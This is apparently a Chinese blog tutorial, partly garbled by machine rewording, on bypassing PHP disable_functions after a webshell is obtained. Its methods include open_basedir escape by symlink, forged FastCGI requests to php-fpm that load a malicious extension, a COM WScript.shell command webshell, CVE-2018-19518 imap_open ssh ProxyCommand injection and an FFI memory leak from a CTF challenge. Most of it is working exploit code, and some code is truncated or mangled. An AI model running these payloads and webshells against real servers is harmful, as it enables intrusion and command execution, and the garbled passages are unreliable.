是不是遇到过费力九牛二虎之力拿了webshell,却发觉连个scandir都实行不上?拿了webshell的确是一件很快乐的事儿,但有时却只不过是一个小环节的完毕;文中可能以webshell做为起始点从头至尾来梳理bypass disable function的姿势。
信息收集是不能缺乏的一环;一般的,我们在根据早期各种各样工作中取得成功实行编码 or 发觉了一个phpinfo网页页面以后,会从该网页页面中收集一些能用信息内容便于事后漏洞的找寻。
我谈一谈我本人的好多个偏重点:
版本号
最形象化的便是php版本号(尽管版本号有时会在回应头中发生),如我的设备上版本号为:
PHP Version 7.2.9-1
那麼寻找版本号后就会综合性看一下是不是有哪些"版本特享"漏洞能够利用。
DOCUMENT_ROOT
下面便是搜索一下DOCUMENT_ROOT获得网址当今途径,尽管普遍的全是在/var/www/html,但免不了有除外。
disable_functions
它是文中的关键,disable_functions说白了涵数禁止使用,以小编的kali自然环境为例子,默认设置就禁止使用了以下涵数:
如一些ctf题会把disable设定的极为恶心想吐,即便我们在提交马到网址后会发现什么也做不来,那麼这时的绕开便是文中所需讲的內容了。
open_basedir
该配备限定了当今php程序流程能够浏览到的途径,如小编设定了:
<?php
ini_set('open_basedir', '/var/www/html:' .'/tmp');
phpinfo();
接着大家可以见到phpinfo中发生以下:
试着scandir会发觉列网站根目录不成功。
<?php
ini_set('open_basedir', '/var/www/html:' .'/tmp');
//phpinfo();
var_dump(scandir("."));
var_dump(scandir("/"));
//array(5){[0]=> string(1) "."[1]=> string(2) ".."[2]=> string(10) "index.html"[3]=> string(23) "index.nginx-debian.html"[4]=> string(11) "phpinfo.php" }bool(false)
opcache
假如应用了opcache,那麼很有可能达到getshell,但必须存有上传文件的点,直接看连接:
others
如文件包含时分辨协议书是不是能用的2个配备项:
allow_url_include、allow_url_fopen
提交webshell时分辨是不是能用短标识的配备项:
short_open_tag
也有一些会在下文中提到。
由于有时候必须依据题型分辨选用哪一种bypass *** ,另外,可以列文件目录针对下一步检测有很大协助,这儿例举几类较为普遍的bypass *** ,均从p神blog摘出,阅读推荐p神blog全文,这儿仅作简单小结。
symlink ( string , string ) : bool
symlink() 针对现有的 创建一个名叫 的标记联接。
简易而言便是创建软链达到bypass。
编码完成以下:
<?php
symlink("abc/abc/abc/abc","tmplink");
symlink("tmplink//etc/passwd", "exploit");
unlink("tmplink");
mkdir("tmplink");
更先是建立一个link,将tmplink用绝对路径偏向abc/abc/abc/abc,随后再建立一个link,将exploit偏向tmplink//etc/passwd,这时就等同于exploit偏向了abc/abc/abc/abc//etc/passwd,也就等同于exploit偏向了这时删掉tmplink文档后再建立tmplink文件目录,这时就变成/etc/passwd取得成功跨文件目录。
浏览exploit就可以载入到/etc/passwd。
搜索配对的文件路径方式,是php自5.3.0版本起逐渐起效的一个用于挑选文件目录的伪协议书
常见bypass *** 以下:
<?php
$c = "
unsigned char version; // 版本
unsigned char type; // 此次record的种类
unsigned char requestIdB1; // 此次record相匹配的要求id
unsigned char requestIdB0;
unsigned char contentLengthB1; // body体的尺寸
unsigned char contentLengthB0;
unsigned char paddingLength; // 附加块尺寸
unsigned char reserved;
unsigned char contentData[contentLength];
unsigned char paddingData[paddingLength];
}FCGI_Record;
能够见到record分成header及其body,在其中header固定不动为8字节,而body由其contentLength决策,而paddingData为保存段,不用时长短置为0。
而type的值从1-7有各种各样功效,当其type=4时,后端开发就会将其body分析成key-value,见到key-value很有可能会很熟悉,没有错,便是大家前边见到的那一个键值对二维数组,也就是环境变量。
那麼在学习培训漏洞利用以前,大家必须掌握2个环境变量,
PHP_VALUE:能够设定方式为 和 的选择项
PHP_ADMIN_VALUE:能够设定全部选择项(除开disable_function)
那麼以p神原文中的利用 *** 大家必须达到三个标准:
寻找一个已经知道的php文件
利用所述2个环境变量将auto_prepend_file设定为
打开必须达到的标准:allow_url_include为on
这时了解文件包含漏洞的朋友就一目了然了,我们可以实行随意编码了。
这儿利用的状况为:
'PHP_VALUE': 'auto_prepend_file = '
'PHP_ADMIN_VALUE': 'allow_url_include = On'
利用
大家先立即看phpinfo怎样标志大家能否利用该漏洞开展攻击。
那麼先以攻击tcp为例子,假若大家仿冒nginx传送数据(fastcgi封裝的数据信息)给php-fpm,那样就会导致随意代码执行漏洞。
p神早已写好啦一个exp,由于对外开放fastcgi为0.0.0.0的状况实际上同攻击内部网类似,因此 这儿能够试着一下攻击127.0.0.1也就是攻击内部网的状况,那麼实际上我们可以相互配合gopher协议书来攻击内部网的fpm,由于与文中主题风格不符合就很少讲。
python a.py 127.0.0.1 -p 9000 /var/www/html/phpinfo.php -c '<?php echo `id`;exit;?>'
能够见到結果如下图所示:
攻击取得成功后我们去查询一下phpinfo会见到以下:
换句话说大家结构的攻击包为:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/phpinfo.php',
'SCRIPT_NAME': '/phpinfo.php',
'QUERY_STRING': '',
'REQUEST_URI': '/phpinfo.php',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12304',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'PHP_VALUE': 'auto_prepend_file = ',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
很显著的前边常说的全是创立的;殊不知实际上我这里是沒有添加disable的状况,大家往里添加disable再试着。
pkill php-fpm
/usr/ *** in/php-fpm7.0 -c /etc/php/7.0/fpm/php.ini
留意改动了ini文件后重新启动fpm必须特定ini。
我往disable里压了一个system:
pcntl_alarm,system,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
然后再执行一下exp,可以发现被disable了:
因此此种 *** 还无法达成bypass disable的作用,那么不要忘了我们的两个php_value能够修改的可不仅仅只是auto_prepend_file,并且的我们还可以修改basedir来绕过;在先前的绕过姿势中我们是利用到了so文件执行扩展库来bypass,那么这里同样可以修改extension为我们编写的so库来执行系统命令,具体利用有师傅已经写了利用脚本,事实上蚁剑中的插件已经能实现了该bypass的功能了,那么下面我直接对蚁剑中插件如何实现bypass做一个简要分析。
在执行蚁剑的插件时会发现其在当前目录生成了一个.antproxy.php文件,那么我们后续的bypass都是通过该文件来执行,那么先看一下这个shell的代码:
<?php
function get_client_header(){
$headers=array();
foreach($_SERVER as $k=>$v){
if(strpos($k,'HTTP_')===0){
$k=strtolower(preg_replace('/^HTTP/', '', $k));
$k=preg_replace_callback('/_\w/','header_callback',$k);
$k=preg_replace('/^_/','',$k);
$k=str_replace('_','-',$k);
if($k=='Host') continue;
$headers[]="$k:$v";
}
}
return $headers;
}
function header_callback($str){
return strtoupper($str[0]);
}
function parseHeader($sResponse){
list($headerstr,$sResponse)=explode("
",$sResponse, 2);
$ret=array($headerstr,$sResponse);
if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){
$ret=parseHeader($sResponse);
}
return $ret;
}
set_time_limit(120);
$headers=get_client_header();
$host = "127.0.0.1";
$port = 60882;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";
if (!empty($_SERVER['QUERY_STRING'])){
$url .= "?".$_SERVER['QUERY_STRING'];
};
$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if(!$fp){
return false;
}
$method = "GET";
$post_data = "";
if($_SERVER['REQUEST_METHOD']=='POST') {
$method = "POST";
$post_data = file_get_contents('');
}
$out = $method." ".$url." HTTP/1.1\r
";
$out .= "Host: ".$host.":".$port."\r
";
if (!empty($_SERVER['CONTENT_TYPE'])) {
$out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\r
";
}
$out .= "Content-length:".strlen($post_data)."\r
";
$out .= implode("\r
",$headers);
$out .= "\r
\r
";
$out .= "".$post_data;
fputs($fp, $out);
$response = '';
while($row=fread($fp, 4096)){
$response .= $row;
}
fclose($fp);
$pos = strpos($response, "\r
\r
");
$response = substr($response, $pos+4);
echo $response;
定位到关键代码:
$headers=get_client_header();
$host = "127.0.0.1";
$port = 60882;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";
if (!empty($_SERVER['QUERY_STRING'])){
$url .= "?".$_SERVER['QUERY_STRING'];
};
$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
可以看到它这里向60882端口进行通信,事实上这里蚁剑使用开启了一个新的php服务,并且不使用php.ini,因此也就不存在disable了,那么我们在观察其执行过程会发现其还在tmp目录下上传了一个so文件,那么至此我们有理由推断出其通过攻击php-fpm修改其extension为在tmp目录下上传的扩展库,事实上从该插件的源码中也可以得知确实如此:
那么启动了该php server后我们的流量就通过antproxy.php转发到无disabel的php server上,此时就成功达成bypass。
加载so扩展
前面虽然解释了其原理,但毕竟理论与实践有所区别,因此我们可以自己打一下extension进行测试。
so文件可以从项目中获取,根据其提示编译即可获取ant.so的库,修改php-fpm的php.ini,加入:
extension=/var/www/html/ant.so
然后重启php-fpm,如果使用如下:
<?php
antsystem("ls");
成功执行命令时即说明扩展成功加载,那么我们再把ini恢复为先前的样子,我们尝试直接攻击php-fpm来修改其配置项。
以脚本来攻击:
import requests
sess = requests.session()
def execute_php_code(s):
res = sess.post('', data={"a": s})
return res.text
code = '''
class AA
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
private $_sock = null;
private $_host = null;
private $_port = null;
private $_keepAlive = false;
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
public function getKeepAlive()
{
return $this->_keepAlive;
}
private function connect()
{
if (!$this->_sock) {
$this->_sock = fsockopen($this->_host);
var_dump($this->_sock);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)
. chr($type)
. chr(($requestId >> 8) & 0xFF)
. chr($requestId & 0xFF)
. chr(($clen >> 8 ) & 0xFF)
. chr($clen & 0xFF)
. chr(0)
. chr(0)
. $content;
}
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen
$nvpair = chr($nlen);
} else {
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen
$nvpair .= chr($vlen);
} else {
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
return $nvpair . $name . $value;
}
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F _sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content'][4])) {
case self::CANT_MPX_CONN:
throw new Exception('This app cant multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
//$client = new AA("");
$client = new AA("127.0.0.1:9000");
$req = '/var/www/html/index.php';
$uri = $req .'?'.'command=ls';
var_dump($client);
$code = "<?php antsystem('ls');\
?>";
$php_value = "extension = /var/www/html/ant.so";
$php_admin_value = "extension = /var/www/html/ant.so";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => '/var/www/html/index.php',
'SCRIPT_NAME' => '/var/www/html/index.php',
'QUERY_STRING' => 'command=ls',
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE' => $php_value,
'PHP_ADMIN_VALUE' => $php_admin_value,
'SERVER_SOFTWARE' => 'asd',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9985',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
echo "Call: $uri\
\
";
var_dump($client->request($params, $code));
'''
ret = execute_php_code(code)
print(ret)
code = """
antsystem('ls');
"""
ret = execute_php_code(code)
print(ret)
通过修改其内的code即可,效果如下:
漏洞利用成功。
原理&利用
需要目标机器满足下列三个条件:
com.allow_dcom=true
extension=php_com_dotnet.dll
php>5.4
此时com组件开启,我们能够在phpinfo中看到:
要知道原理还是直接从exp看起:
<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
首先,以来生成一个com对象,里面的参数也可以为(笔者的win10下测试失败)。
然后这个com对象中存在着exec可以用来执行命令,而后续的 *** 则是将命令输出,该方式的利用还是较为简单的,就不多讲了。
该bypass方式为CVE-2018-19518
原理
imap扩展用于在PHP中执行邮件收发操作,而imap_open是一个imap扩展的函数,在使用时通常以如下形式:
$imap = imap_open('{'.$_POST['server'].':993/imap/ssl}INBOX', $_POST['login'], $_POST['password']);
那么该函数在调用时会调用rsh来连接远程shell,而在debian/ubuntu中默认使用ssh来代替rsh的功能,也即是说在这俩系统中调用的实际上是ssh,而ssh中可以通过来调用命令,该选项可以使得我们在连接服务器之前先执行命令,并且需要注意到的是此时并不是php解释器在执行该系统命令,其以一个独立的进程去执行了该命令,因此我们也就成功的bypass disable function了。
那么我们可以先在ubuntu上试验一下:
ssh -oProxyCommand="ls>test" 192.168.2.1
那么这种利用方式可能出现的场景还不是很多,因此笔者稍微讲解一下。
首先是cdef:
$ffi = FFI::cdef("int system(const char *command);");
这一行是创建一个ffi对象,默认就会加载标准库,以本行为例是导入system这个函数,而这个函数理所当然是存在于标准库中,那么我们若要导入库时则可以以如下方式:
$ffi = FFI::cdef("int system(const char *command);","libc.so.6");
可以看看其函数原型:
FFI::cdef([string $cdef = "" [, string $lib = null]]): FFI
取得了ffi对象后我们就可以直接调用函数了:
$ffi->system("whoami >/tmp/1");
之后的代码较为简单就不多讲,那么接下来看看实际应用该从哪里入手。
利用
以tctf的题目为例,题目直接把cdef过滤了,并且存在着basedir,但我们可以使用之前说过bypass basedir来列目录,逐一尝试能够发现可以使用glob列根目录目录:
<?php
$c = "";
$a = new DirectoryIterator($c);
foreach($a as $f){
echo($f->__toString().'
');
}
?>
可以发现根目录存在着flag.h跟so:
因为后面环境没有保存,笔者这里简单复述一下当时题目的情况(仅针对预期解)。
发现了flag.h之后查看ffi相关文档能够发现一个load *** 可以加载头文件。
于是有了如下:
$ffi = FFI::load("/flag.h");
但当我们想要打印头文件来获取其内存在的函数时会尴尬的发现如下:
我们无法获取到存在的函数结构,因此也就无法使用ffi调用函数,这一步路就断了,并且cdef也被过滤了,无法直接调用system函数,但查看文档能够发现ffi中存在着不少与内存相关的函数,因此存在着内存泄露的可能,这里借用飘零师傅的exp:
import requests
url = ""
params = {"rh":
'''
try {
$ffi=FFI::load("/flag.h");
//get flag
//$a = $ffi->flag_wAt3_uP_apA3H1();
//for($i = 0; $i
echo $a[$i];
//}
$a = $ffi->new("char[8]", false);
$a[0] = 'f';
$a[1] = 'l';
$a[2] = 'a';
$a[3] = 'g';
$a[4] = 'f';
$a[5] = 'l';
$a[6] = 'a';
$a[7] = 'g';
$b = $ffi->new("char[8]", false);
$b[0] = 'f';
$b[1] = 'l';
$b[2] = 'a';
$b[3] = 'g';
$newa = $ffi->cast("void*", $a);
var_dump($newa);
$newb = $ffi->cast("void*", $b);
var_dump($newb);
$addr_of_a = FFI::new("unsigned long long");
FFI::memcpy($addr_of_a, FFI::addr($newa), 8);
var_dump($addr_of_a);
$leak = FFI::new(FFI::arrayType($ffi->type('char'), [102400]), false);
FFI::memcpy($leak, $newa-0x20000, 102400);
$tmp = FFI::string($leak,102400);
var_dump($tmp);
//var_dump($leak);
//$leak[0] = 0xdeadbeef;
//$leak[1] = 0x61616161;
//var_dump($a);
//FFI::memcpy($newa-0x8, $leak, 128*8);
//var_dump($a);
//var_dump(777);
} catch (FFI\Exception $ex) {
echo $ex->getMessage(), PHP_EOL;
}
var_dump(1);
'''
}
res = requests.get(url=url,params=params)
print((res.text).encode("utf-8"))
获取到函数名后直接调用函数然后把结果打印出来即可:
$a = $ffi->flag_wAt3_uP_apA3H1();
for($i=0;$i
bypass disable function是否遇到过费劲九牛二虎之力拿了webshell却发现连个scandir都执行不了?拿了webshell确实是一件很欢乐的事情,但有时候却仅仅只是一个小阶段...